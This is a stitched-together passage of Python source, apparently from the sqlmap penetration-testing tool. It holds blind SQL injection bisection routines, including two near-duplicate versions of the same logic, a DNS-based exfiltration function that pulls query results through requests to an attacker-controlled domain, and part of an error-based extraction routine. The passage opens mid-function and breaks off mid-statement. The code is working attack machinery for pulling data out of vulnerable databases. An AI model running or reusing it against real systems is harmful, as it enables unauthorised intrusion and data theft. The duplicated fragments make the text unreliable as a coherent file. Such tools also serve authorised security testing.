charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if not timeBasedCompare: unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if retried < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} for candidate in candidates: bit = 0 while candidate: bits.setdefault(bit, 0) bits[bit] += 1 if candidate & 1 else -1 candidate >>= 1 bit += 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: candidates = [_ for _ in candidates if _ & mask > 0] else: candidates = [_ for _ in candidates if _ & mask == 0] bit += 1 if candidates: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(candidates[0]) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.index: if threadData.shared.index[0] - firstChar >= length: return threadData.shared.index[0] += 1 currentCharIndex = threadData.shared.index[0] if kb.threadContinue: val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[currentCharIndex - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = ".." + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + ".." if conf.verbose in (1, 2) and not showEta and not conf.api: _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api: dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl, not(charsetType is None and conf.charset)) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(index) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not conf.api: infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not conf.api: dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS resolution mechanism by making request back to attacker's machine. """ start = time.time() retVal = None count = 0 offset = 1 if conf.dnsDomain and Backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: output = None if output is None: kb.dnsMode = True while True: count += 1 prefix, suffix = ( "%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) chunk_length = MAX_DNS_LABEL // 2 if Backend.getIdentifiedDbms( ) in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields( expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) extendedField = re.search( r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0) if extendedField != fieldToCastStr: # e.g. MIN(surname) nulledCastedField = extendedField.replace( fieldToCastStr, nulledCastedField) fieldToCastStr = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms( )].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace( fieldToCastStr, nulledCastedField, 1) expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) query = "%s%s" % (query, queries[ Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat( payload, (expressionUnescaped, randomInt(1), randomInt(3))) Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) if _: _ = extractRegexResult( r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeHexValue(_) output = (output or "") + _ offset += len(_) if len(_) < chunk_length: break else: break output = decodeHexValue(output) if conf.hexConvert else output kb.dnsMode = False if output is not None: retVal = output if kb.dnsTest is not None: dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % ( count, calculateDeltaSeconds(start)) logger.debug(debugMsg) elif conf.dnsDomain: warnMsg = "DNS data exfiltration method through SQL injection " warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms( ) singleTimeWarnMessage(warnMsg) return safecharencode(retVal) if kb.safeCharEncode else retVal
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False partialValue = u"" finalValue = None retrievedLength = 0 asciiTbl = getCharset(charsetType) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif hasattr(conf, "api"): kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): firstChar = 0 elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 elif firstChar is None: firstChar = 0 elif (isinstance(firstChar, basestring) and firstChar.isdigit()) or isinstance(firstChar, int): firstChar = int(firstChar) - 1 if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif lastChar in (None, "0"): lastChar = 0 elif (isinstance(lastChar, basestring) and lastChar.isdigit()) or isinstance(lastChar, int): lastChar = int(lastChar) if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if length and isinstance(length, basestring) and length.isdigit(): length = int(length) if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) if showEta: progress = ProgressBar(maxValue=length) progressTime = [] if timeBasedCompare and conf.threads > 1: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in time-based inference (in case that original and retrieved value are not equal there will be a deliberate delay). """ if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) return not result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(asciiTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec kb.timeValidCharsRun = 0 if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: kb.timeValidCharsRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None def etaProgressUpdate(charTime, index): if len(progressTime) <= ((length * 3) / 100): eta = 0 else: midTime = sum(progressTime) / len(progressTime) midTimeWithLatest = (midTime + charTime) / 2 eta = midTimeWithLatest * (length - index) / conf.threads progressTime.append(charTime) progress.update(index) progress.draw(eta) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData = getCurrentThreadData() threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] - firstChar >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[curidx - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target url was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: etaProgressUpdate(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) partialValue += val if showEta: etaProgressUpdate(time.time() - charStart, index) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) or showEta and not hasattr(conf, "api"): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL) ) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms( DBMS.MYSQL) else "REPLICATE", testChar, current) result = unArrayizeValue( _oneShotErrorUse(testQuery, chunkTest=True)) if (result or "").startswith(testChar): if result == testChar * current: kb.errorChunkLength = current break else: result = re.search(r"\A\w+", result).group(0) candidate = len(result) - len(kb.chars.stop) current = 